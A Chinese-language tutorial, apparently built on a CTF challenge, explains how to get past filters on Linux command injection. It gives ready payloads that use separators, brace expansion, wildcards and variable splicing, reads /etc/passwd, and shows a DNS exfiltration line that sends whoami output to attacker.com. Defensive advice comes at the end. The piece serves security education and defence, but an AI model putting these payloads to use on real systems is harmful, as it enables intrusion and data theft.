从一道CTF题看Linux命令注入的N种绕过姿势：不只是空格和cat

在渗透测试和CTF竞赛中，命令注入漏洞一直是Web安全领域的重要考点。不同于简单的SQL注入或XSS攻击，命令注入直接与操作系统交互，其危害性和灵活性都更为显著。本文将以一道典型的CTF题目为切入点，系统性地剖析Linux命令注入的各种高级绕过技术，帮助安全从业者构建更全面的防御思维。

1. 命令分隔符的七十二变

当我们在Web应用中发现了命令注入漏洞时，第一个需要突破的往往是如何将多个命令串联执行。常见的分号;可能被过滤，但Linux系统提供了丰富的替代方案：

• 逻辑运算符：&&（前命令成功则执行后命令）、||（前命令失败则执行后命令）
• 后台执行符：&将前命令放入后台执行，继续执行后命令
• 管道符：|将前命令输出作为后命令输入
• 换行符：%0a（URL编码的换行符）在HTTP请求中常能绕过过滤

# 实际CTF中的利用示例 ?ip=127.0.0.1%0aid # 使用换行符代替分号 ?ip=127.0.0.1||ls # 前ping命令失败时执行ls

注意：不同分隔符在Bash中的执行优先级不同，&&和||具有相同的优先级，且高于;和&

2. 空格绕过的艺术

空格是命令注入中最常被过滤的字符之一，但绕过方法远不止IFS一种：

# 使用大括号扩展绕过 ?ip=127.0.0.1;{ls,-la} # 使用重定向符 ?ip=127.0.0.1;cat</etc/passwd

3. 关键字黑名单的破解之道

当cat、flag等关键词被过滤时，我们可以采用多种替代方案：

3.1 替代命令法

• 文件读取：tac、rev、more、less、head、tail、nl
• 二进制查看：od、xxd、hexdump
• 编码转换：base64、uuencode

3.2 通配符技巧

# 使用通配符匹配文件名 ?ip=127.0.0.1;cat /fla? # 使用字符类 ?ip=127.0.0.1;cat /fla[a-g]

3.3 变量拼接

# 将命令拆分为变量 ?ip=127.0.0.1;a=c;b=at;c=flag;$a$b $c

4. 无回显场景下的盲注技术

当命令执行结果不直接显示时，可以采用以下技术：

• 时间盲注：通过sleep命令观察响应延迟
• DNS外带：利用dig或nslookup将数据外带
• HTTP请求：使用curl或wget发送数据到可控服务器
• 文件写入：将结果写入web目录再访问

# DNS外带示例 ?ip=127.0.0.1;dig `whoami`.attacker.com # 时间盲注示例 ?ip=127.0.0.1;if [ -f /flag ]; then sleep 5; fi

5. 防御措施的全面思考

了解攻击手法是为了更好地防御。针对命令注入，建议采取多层防护：

1. 输入验证：严格限制用户输入的字符集
2. 参数化调用：使用execve等函数直接传递参数数组
3. 最小权限：运行Web服务的用户应具有最小必要权限
4. 命令白名单：如必须执行命令，应建立严格的命令白名单

# 安全的命令执行示例（Python） import subprocess subprocess.run(['ls', '-l'], check=True) # 避免shell=True

在实际渗透测试中，命令注入的绕过往往需要多种技术组合使用。我曾遇到一个案例，目标系统过滤了空格、分号和常见命令，最终通过%0a换行符配合大括号扩展成功实现了注入。这种不断突破限制的过程，正是安全研究的魅力所在。